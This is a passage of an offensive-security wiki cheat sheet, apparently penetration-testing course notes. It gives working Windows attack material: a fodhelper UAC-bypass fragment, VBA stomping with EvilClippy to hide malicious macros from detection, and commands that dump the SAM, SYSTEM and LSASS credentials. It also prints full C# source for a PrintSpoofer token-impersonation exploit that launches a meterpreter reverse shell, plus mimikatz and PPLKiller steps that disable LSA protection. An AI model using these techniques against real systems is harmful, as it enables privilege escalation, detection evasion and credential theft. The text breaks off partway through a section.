    New-ItemProperty -Path &amp;quot;HKCU:\Software\Classes\ms-settings\Shell\Open\command&amp;quot; -Name &amp;quot;DelegateExecute&amp;quot; -Value &amp;quot;&amp;quot; -Force&lt;br /&gt;
    Set-ItemProperty -Path &amp;quot;HKCU:\Software\Classes\ms-settings\Shell\Open\command&amp;quot; -Name &amp;quot;(default)&amp;quot; -Value $cmd -Force&lt;br /&gt;
}&lt;br /&gt;
function PrivEsc {&lt;br /&gt;
    Start-Process &amp;quot;C:\Windows\System32\fodhelper.exe&amp;quot; -WindowStyle Hidden&lt;br /&gt;
    Start-Sleep -s 3&lt;br /&gt;
    Remove-Item &amp;quot;HKCU:\Software\Classes\ms-settings\&amp;quot; -Recurse -Force -ErrorAction SilentlyContinue&lt;br /&gt;
}&lt;br /&gt;
RegStuff&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== VBA Stomping ==&lt;br /&gt;
&lt;br /&gt;
A technique to reduce detection rates by manipulating the VBA macro content in Microsoft Word and Excel documents.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Tools&#039;&#039;&#039;:&lt;br /&gt;
&#039;&#039;&#039;Hex Editor&#039;&#039;&#039;: For inspecting contents of unzipped modern files&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;FlexHEX&#039;&#039;&#039;: To inspect and edit the files&lt;br /&gt;
&lt;br /&gt;
==== Steps to Perform VBA Stomping ====&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Inspect Shellcode Runner&#039;&#039;&#039;&lt;br /&gt;
Use custom tools to inspect existing shellcode runners.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Understanding File Formats&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;Old Format&#039;&#039;&#039;: Compound File Binary Format.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;New Format&#039;&#039;&#039;: Similar to .zip files.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Using FlexHEX&#039;&#039;&#039;&lt;br /&gt;
Open FlexHEX.&lt;br /&gt;
&lt;br /&gt;
* Navigate to  ​File &amp;gt; Open &amp;gt; OLE Compound File​ .&lt;br /&gt;
&lt;br /&gt;
* Open the Word document to inspect it.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Inspect Macro Information&#039;&#039;&#039;&lt;br /&gt;
For modern files, macros are stored in  ​vbaProject.bin​  inside the zipped archive.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Editing Macros&#039;&#039;&#039;&lt;br /&gt;
Edit the  ​PROJECT​  file in the navigator window to remove links to macros, using  ​Edit &amp;gt; Insert Zero Block​ .&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Understanding P-Code&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;P-Code&#039;&#039;&#039;: Cached and compiled version of VBA textual code, specific to the Office and VBA version it was created on.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage&#039;&#039;&#039;: Used to execute macros faster on the same version of Office, bypassing VBA interpreter translation.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Performing VBA Stomping&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;Goal&#039;&#039;&#039;: Remove VBA source code while retaining P-code to bypass detection but still execute the code.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;How&#039;&#039;&#039;:&lt;br /&gt;
Open the document in FlexHEX.&lt;br /&gt;
&lt;br /&gt;
* Locate the VBA source code in  ​NewMacros​ .&lt;br /&gt;
&lt;br /&gt;
* Select all bytes from “Attribute VB_Name” and remove it using  ​Edit &amp;gt; Insert Zero Block​ .&lt;br /&gt;
&lt;br /&gt;
* Save and re-compress the document.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Testing&#039;&#039;&#039;&lt;br /&gt;
Open the edited document in Word.&lt;br /&gt;
&lt;br /&gt;
* Note: The VBA source code should be visually removed, but the P-code still executes, enabling the attack to work.&lt;br /&gt;
&lt;br /&gt;
=== Automating VBA Stomping Using Evil Clippy ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/outflanknl/EvilClippy GitHub - outflanknl/EvilClippy: A cross-platform assistant for creating malicious MS Office documents. Can hide VBA macros, stomp VBA code (via P-Code) and confuse macro analysis tools. Runs on Linux, OSX and Windows.]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
EvilClippy.exe -s fake.vbs -g -r cobaltstrike.doc&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[https://outflank.nl/blog/2019/05/05/evil-clippy-ms-office-maldoc-assistant/ Evil Clippy: MS Office maldoc assistant | Outflank]&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Usage Examples&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Print help: &amp;lt;code&amp;gt;EvilClippy.exe -h&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Hide macros from GUI: &amp;lt;code&amp;gt;EvilClippy.exe -g macrofile.doc&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Unhide macros: &amp;lt;code&amp;gt;EvilClippy.exe -gg macrofile.doc&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Stomp VBA (abuse P-code): &amp;lt;code&amp;gt;EvilClippy.exe -s fakecode.vba macrofile.doc&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Set target Office version for VBA stomping: &amp;lt;code&amp;gt;EvilClippy.exe -s fakecode.vba -t 2016x86 macrofile.doc&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Set random module names: &amp;lt;code&amp;gt;EvilClippy.exe -r macrofile.doc&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Reset random module names: &amp;lt;code&amp;gt;EvilClippy.exe -rr macrofile.doc&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Serve a VBA stomped template via HTTP: &amp;lt;code&amp;gt;EvilClippy.exe -s fakecode.vba -w 8080 macrofile.dot&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Set Locked/Unviewable attributes: &amp;lt;code&amp;gt;EvilClippy.exe -u macrofile.doc&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Remove Locked/Unviewable attributes: &amp;lt;code&amp;gt;EvilClippy.exe -uu macrofile.doc&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Windows Credentials ==&lt;br /&gt;
&lt;br /&gt;
=== SAM database ===&lt;br /&gt;
&lt;br /&gt;
See Cheatsheet I for methods on how to obtain the SAM database and extract the hashes.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Shadow Volume Copy Workaround&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Create a snapshot of the local hard drive using &#039;&#039;&#039;WMIC. &#039;&#039;&#039;Need to launch from an administrative command prompt:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\&amp;gt; wmic shadowcopy call create Volume=&#039;C:\&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Verify shadow volume:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\&amp;gt; vssadmin list shadows&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Copy SAM from shadow volume:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\&amp;gt; copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\sam C:\users\offsec.corp1\Downloads\sam&lt;br /&gt;
Note: Run above command in  ​cmd.exe​ , not in PowerShell.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Encrypting SAM Database&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
SAM is encrypted by &#039;&#039;&#039;RC4&#039;&#039;&#039; or &#039;&#039;&#039;AES&#039;&#039;&#039;. Encryption keys are in the  ​SYSTEM​  file. Copy SYSTEM file:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\&amp;gt; copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\system C:\users\offsec.corp1\Downloads\system&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Save SAM and SYSTEM from Registry&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Using  ​reg save​  command:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\&amp;gt; reg save HKLM\sam C:\users\offsec.corp1\Downloads\sam&lt;br /&gt;
C:\&amp;gt; reg save HKLM\system C:\users\offsec.corp1\Downloads\system&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Read SAM, SYSTEM and SECURITY&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
impacket-secretsdump -sam SAM -security SECURITY -system SYSTEM LOCAL&lt;br /&gt;
# Or using creddump&lt;br /&gt;
https://github.com/Neohapsis/creddump7&lt;br /&gt;
python pwdump.py /home/kali/system /home/kali/sam&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Access Tokens ===&lt;br /&gt;
&lt;br /&gt;
* Access tokens track user&#039;s access rights after authentication.&lt;br /&gt;
&lt;br /&gt;
* They are assigned to each process associated with the user.&lt;br /&gt;
&lt;br /&gt;
* Access tokens are stored inside the kernel, preventing direct modification.&lt;br /&gt;
&lt;br /&gt;
==== PrintSpoofer.exe ====&lt;br /&gt;
&lt;br /&gt;
The code below will open a pipe and wait for a authentication. Instead, you can use PrintSpoofer from itm4n and compile it. This will give SYSTEM shell directly. To evade detection the code can be obfuscated.&lt;br /&gt;
&lt;br /&gt;
[https://github.com/itm4n/PrintSpoofer GitHub - itm4n/PrintSpoofer: Abusing impersonation privileges through the &amp;quot;Printer Bug&amp;quot;]&lt;br /&gt;
&lt;br /&gt;
* SeImpersonatePrivilege allows us to impersonate any token for which we can get a reference, or&lt;br /&gt;
handle.&lt;br /&gt;
&lt;br /&gt;
* We will use [https://github.com/leechristensen/SpoolSample SpoolSample.exe] to coerce Windows hosts to authenticate to other machines via the MS-RPRN RPC interface.&lt;br /&gt;
&lt;br /&gt;
* We will use the code below to simulate a print client. The code will create a pipe server, wait for a connection, and attempt to impersonate the client that connects to it.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Security.Principal;&lt;br /&gt;
using System.Text;&lt;br /&gt;
namespace PrintSpoofer&lt;br /&gt;
{&lt;br /&gt;
    public class Program&lt;br /&gt;
    {&lt;br /&gt;
        public static uint PIPE_ACCESS_DUPLEX = 0x3;&lt;br /&gt;
        public static uint PIPE_TYPE_BYTE = 0x0;&lt;br /&gt;
        public static uint PIPE_WAIT = 0x0;&lt;br /&gt;
        public static uint TOKEN_ALL_ACCESS = 0xF01FF;&lt;br /&gt;
        public static uint TOKENUSER = 1;&lt;br /&gt;
        public static uint SECURITY_IMPERSONATION = 2;&lt;br /&gt;
        public static uint TOKEN_PRIMARY = 1;&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential)]&lt;br /&gt;
        public struct PROCESS_INFORMATION&lt;br /&gt;
        {&lt;br /&gt;
            public IntPtr hProcess;&lt;br /&gt;
            public IntPtr hThread;&lt;br /&gt;
            public int dwProcessId;&lt;br /&gt;
            public int dwThreadId;&lt;br /&gt;
        }&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]&lt;br /&gt;
        public struct STARTUPINFO&lt;br /&gt;
        {&lt;br /&gt;
            public Int32 cb;&lt;br /&gt;
            public string lpReserved;&lt;br /&gt;
            public string lpDesktop;&lt;br /&gt;
            public string lpTitle;&lt;br /&gt;
            public Int32 dwX;&lt;br /&gt;
            public Int32 dwY;&lt;br /&gt;
            public Int32 dwXSize;&lt;br /&gt;
            public Int32 dwYSize;&lt;br /&gt;
            public Int32 dwXCountChars;&lt;br /&gt;
            public Int32 dwYCountChars;&lt;br /&gt;
            public Int32 dwFillAttribute;&lt;br /&gt;
            public Int32 dwFlags;&lt;br /&gt;
            public Int16 wShowWindow;&lt;br /&gt;
            public Int16 cbReserved2;&lt;br /&gt;
            public IntPtr lpReserved2;&lt;br /&gt;
            public IntPtr hStdInput;&lt;br /&gt;
            public IntPtr hStdOutput;&lt;br /&gt;
            public IntPtr hStdError;&lt;br /&gt;
        }&lt;br /&gt;
        public enum CreationFlags&lt;br /&gt;
        {&lt;br /&gt;
            DefaultErrorMode = 0x04000000,&lt;br /&gt;
            NewConsole = 0x00000010,&lt;br /&gt;
            NewProcessGroup = 0x00000200,&lt;br /&gt;
            SeparateWOWVDM = 0x00000800,&lt;br /&gt;
            Suspended = 0x00000004,&lt;br /&gt;
            UnicodeEnvironment = 0x00000400,&lt;br /&gt;
            ExtendedStartupInfoPresent = 0x00080000&lt;br /&gt;
        }&lt;br /&gt;
        public enum LogonFlags&lt;br /&gt;
        {&lt;br /&gt;
            WithProfile = 1,&lt;br /&gt;
            NetCredentialsOnly&lt;br /&gt;
        }&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern IntPtr CreateNamedPipe(string lpName, uint dwOpenMode, uint dwPipeMode, uint nMaxInstances, uint nOutBufferSize, uint nInBufferSize, uint nDefaultTimeOut, IntPtr lpSecurityAttributes);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern bool ConnectNamedPipe(IntPtr hNamedPipe, IntPtr lpOverlapped);&lt;br /&gt;
        [DllImport(&amp;quot;Advapi32.dll&amp;quot;)]&lt;br /&gt;
        static extern bool ImpersonateNamedPipeClient(IntPtr hNamedPipe);&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern bool OpenThreadToken(IntPtr ThreadHandle, uint DesiredAccess, bool OpenAsSelf, out IntPtr TokenHandle);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern IntPtr GetCurrentThread();&lt;br /&gt;
        [DllImport(&amp;quot;advapi32&amp;quot;, SetLastError = true, CharSet = CharSet.Unicode)]&lt;br /&gt;
        public static extern bool CreateProcessWithTokenW(IntPtr hToken, LogonFlags dwLogonFlags, string lpApplicationName, string lpCommandLine, CreationFlags dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, CharSet = CharSet.Auto, SetLastError = true)]&lt;br /&gt;
        public extern static bool DuplicateTokenEx(IntPtr hExistingToken, uint dwDesiredAccess, IntPtr lpTokenAttributes, uint ImpersonationLevel, uint TokenType, out IntPtr phNewToken);&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern bool RevertToSelf();&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern uint GetSystemDirectory([Out] StringBuilder lpBuffer, uint uSize);&lt;br /&gt;
        [DllImport(&amp;quot;userenv.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern bool CreateEnvironmentBlock(out IntPtr lpEnvironment, IntPtr hToken, bool bInherit);&lt;br /&gt;
        public static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            // Parse arguments (pipe name)&lt;br /&gt;
            if (args.Length != 2)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Please enter the pipe name to be used and the binary to trigger as arguments.\nExample: .\\PrintSpoofer.exe \\\\.\\pipe\\test\\pipe\\spoolss c:\\windows\\tasks\\bin.exe&amp;quot;);&lt;br /&gt;
                return;&lt;br /&gt;
            }&lt;br /&gt;
            string pipeName = args[0];&lt;br /&gt;
            string binToRun = args[1];&lt;br /&gt;
            // Create our named pipe&lt;br /&gt;
            IntPtr hPipe = CreateNamedPipe(pipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_BYTE | PIPE_WAIT, 10, 0x1000, 0x1000, 0, IntPtr.Zero);&lt;br /&gt;
            // Connect to our named pipe and wait for another client to connect&lt;br /&gt;
            Console.WriteLine(&amp;quot;Waiting for client to connect to named pipe...&amp;quot;);&lt;br /&gt;
            bool result = ConnectNamedPipe(hPipe, IntPtr.Zero);&lt;br /&gt;
            // Impersonate the token of the incoming connection&lt;br /&gt;
            result = ImpersonateNamedPipeClient(hPipe);&lt;br /&gt;
            // Open a handle on the impersonated token&lt;br /&gt;
            IntPtr tokenHandle;&lt;br /&gt;
            result = OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, false, out tokenHandle);&lt;br /&gt;
            // Duplicate the stolen token&lt;br /&gt;
            IntPtr sysToken = IntPtr.Zero;&lt;br /&gt;
            DuplicateTokenEx(tokenHandle, TOKEN_ALL_ACCESS, IntPtr.Zero, SECURITY_IMPERSONATION, TOKEN_PRIMARY, out sysToken);&lt;br /&gt;
            // Create an environment block for the non-interactive session&lt;br /&gt;
            IntPtr env = IntPtr.Zero;&lt;br /&gt;
            bool res = CreateEnvironmentBlock(out env, sysToken, false);&lt;br /&gt;
            // Get the impersonated identity and revert to self to ensure we have impersonation privs&lt;br /&gt;
            String name = WindowsIdentity.GetCurrent().Name;&lt;br /&gt;
            Console.WriteLine($&amp;quot;Impersonated user is: {name}.&amp;quot;);&lt;br /&gt;
            RevertToSelf();&lt;br /&gt;
            // Get the system directory&lt;br /&gt;
            StringBuilder sbSystemDir = new StringBuilder(256);&lt;br /&gt;
            uint res1 = GetSystemDirectory(sbSystemDir, 256);&lt;br /&gt;
            // Spawn a new process with the duplicated token, a desktop session, and the created profile&lt;br /&gt;
            PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION();&lt;br /&gt;
            STARTUPINFO sInfo = new STARTUPINFO();&lt;br /&gt;
            sInfo.cb = Marshal.SizeOf(sInfo);&lt;br /&gt;
            sInfo.lpDesktop = &amp;quot;WinSta0\\Default&amp;quot;;&lt;br /&gt;
            CreateProcessWithTokenW(sysToken, LogonFlags.WithProfile, null, binToRun, CreationFlags.UnicodeEnvironment, env, sbSystemDir.ToString(), ref sInfo, out pInfo);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Executed &#039;{binToRun}&#039; with impersonated token!&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 1 - Compile the code (PrintSpoofer.exe) above and compile a meterpreter reverse shell&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Transfer to target.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 2 - Start the&#039;&#039;&#039; &#039;&#039;&#039;PrintSpoofer.exe&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Specify the meterpreter binary&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
PrintSpoofer.exe \\.\pipe\test\pipe\spoolss C:windows\tasts\bin.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 3 - Coerce Windows to authenticate&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Use SpoolSample.exe to authenticate.&lt;br /&gt;
&lt;br /&gt;
* When a file path is supplied to a Win32 API, directory separators are converted to a canonical form. Forward slashes (“/”) are converted to backward slashes (“\”). This process is known as file path normalization.&lt;br /&gt;
&lt;br /&gt;
* If &amp;lt;code&amp;gt;SpoolSample&amp;lt;/code&amp;gt; is provided with a pipe name containing a forward slash after the hostname (e.g., “appsrv01/test”), the spooler service appends the default name “pipe\spoolss” before processing.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
SpoolSample.exe appsrv01 appsrv01/pipe/test&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 4 - bin.exe executed in the context of impersonated token&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-10-image.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2023-10-image-2.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
==== Using Meterpreter to impersonate users ====&lt;br /&gt;
&lt;br /&gt;
* Using the meterpreter sesison with SYSTEM shell we can impersonate tokens without using mimikatz.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Steps&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Load Incognito Extension&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
 meterpreter &amp;gt; load incognito&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Display Available Commands&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
meterpreter &amp;gt; help incognito&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Key Commands&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
*  ​&amp;lt;code&amp;gt;add_group_user​ &amp;lt;/code&amp;gt;: Add a user to a global group with all tokens.&lt;br /&gt;
&lt;br /&gt;
*  ​&amp;lt;code&amp;gt;add_localgroup_user&amp;lt;/code&amp;gt;​ : Add a user to a local group with all tokens.&lt;br /&gt;
&lt;br /&gt;
*  &amp;lt;code&amp;gt;​add_user&amp;lt;/code&amp;gt;​ : Add a user with all tokens.&lt;br /&gt;
&lt;br /&gt;
*  ​&amp;lt;code&amp;gt;impersonate_token&amp;lt;/code&amp;gt;​ : Impersonate a specified token.&lt;br /&gt;
&lt;br /&gt;
*  ​&amp;lt;code&amp;gt;list_tokens&amp;lt;/code&amp;gt;​ : List tokens available under the current user context.&lt;br /&gt;
&lt;br /&gt;
*  ​&amp;lt;code&amp;gt;snarf_hashes&amp;lt;/code&amp;gt;​ : Capture challenge/response hashes for every token.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;List Unique User Tokens&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
  meterpreter &amp;gt; list_tokens -u&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Output&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Delegation Tokens (e.g.,  ​corp1\admin​ ,  ​NT AUTHORITY\SYSTEM​ , etc.)&lt;br /&gt;
&lt;br /&gt;
* Impersonation Tokens (e.g.,  ​NT AUTHORITY\ANONYMOUS LOGON​ )&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Impersonate a User Token&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Use the  ​impersonate_token​  command to impersonate a user through the Win32  ​ImpersonateLoggedOnUser​  API.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
meterpreter &amp;gt; impersonate_token corp1\\admin&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Verify Impersonation&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
meterpreter &amp;gt; getuid&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Kerberos ===&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Domain Controller (DC)&#039;&#039;&#039;: Acts as a Key Distribution Center (KDC).&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Authentication Server&#039;&#039;&#039;: Service run by the DC.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Ticket Granting Ticket (TGT)&#039;&#039;&#039;: Contains user info, domain, timestamp, client IP, and session key.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Service Principal Name (SPN)&#039;&#039;&#039;: Identifier for each instance of a service.&lt;br /&gt;
&lt;br /&gt;
==== Disable LSA protection and dump cached creds ====&lt;br /&gt;
&lt;br /&gt;
Download mimidrv 32bit or 64bit here [https://github.com/In3x0rabl3/OSEP/tree/main/Lateral_Movement/driver OSEP/Lateral_Movement/driver at main · In3x0rabl3/OSEP (github.com)]&lt;br /&gt;
&lt;br /&gt;
* Mimikatz is a tool used to extract and manipulate credentials, tokens, and privileges in Windows.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Local Security Authority (LSA) Protection&#039;&#039;&#039;: Protects the LSASS memory space where password hashes are cached.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Protected Processes Light (PPL)&#039;&#039;&#039;: Introduced from Windows 8 onwards, prevents a SYSTEM integrity process from accessing another SYSTEM integrity process with PPL enabled.&lt;br /&gt;
&lt;br /&gt;
* LSASS is part of the OS and runs as SYSTEM. SYSTEM or local administrator permissions are needed to access hashes stored on a target.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# 1. Enable SeDebugPrivilege:&lt;br /&gt;
mimikatz # privilege::debug&lt;br /&gt;
# 2. Manually load the driver with the sc.exe Service Control application.&lt;br /&gt;
sc create mimidrv binPath=C:\\windows\\tasks\\mimidrv.sys type=kernel start=demand&lt;br /&gt;
sc start mimidrv&lt;br /&gt;
# 3. Load mimidrv.sys (https://github.com/ParrotSec/mimikatz/tree/master/x64) Driver (to disable PPL protection for LSASS):&lt;br /&gt;
# NOTE: Uploading the mimidrv.sys driver to the victim machine might trigger antivirus detections.&lt;br /&gt;
mimikatz # !+&lt;br /&gt;
# 4. Disable LSA Protection for LSASS:&lt;br /&gt;
mimikatz # !processprotect /process:lsass.exe /remove&lt;br /&gt;
# 5. Dump Credentials After Disabling LSA Protection:&lt;br /&gt;
mimikatz # sekurlsa::logonpasswords&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Using PPLKiller ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/RedCursorSecurityConsulting/PPLKiller GitHub - RedCursorSecurityConsulting/PPLKiller: Tool to bypass LSA Protection (aka Protected Process Light)]&lt;br /&gt;
&lt;br /&gt;
Tool to bypass LSA Protection (aka Protected Process Light)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
1. Open PPLKiller.sln with Visual Studio 2019 and build a Release binary which will be saved in PPLKiller\x64\Release\PPLKiller.exe&lt;br /&gt;
2. You&#039;ll always want to run PPLKiller.exe /installDriver first to install the driver&lt;br /&gt;
3. Run an attack like PPLKiller.exe /disableLSAProtection&lt;br /&gt;
4. Cleanup with PPLKiller.exe /uninstallDriver&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Memory Dump with Mimikatz ====&lt;br /&gt;
&lt;br /&gt;
* Memory dumps allow for the extraction of sensitive information, such as credentials, from the LSASS process.&lt;br /&gt;
&lt;br /&gt;
* Mimikatz can be used to parse these dumps and extract the desired information.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Using Task Manager&#039;&#039;&#039;:&lt;br /&gt;
Right-click the task bar and select Task Manager.&lt;br /&gt;
&lt;br /&gt;
* Navigate to the Details tab.&lt;br /&gt;
&lt;br /&gt;
* Locate the  ​lsass.exe​  process.&lt;br /&gt;
&lt;br /&gt;
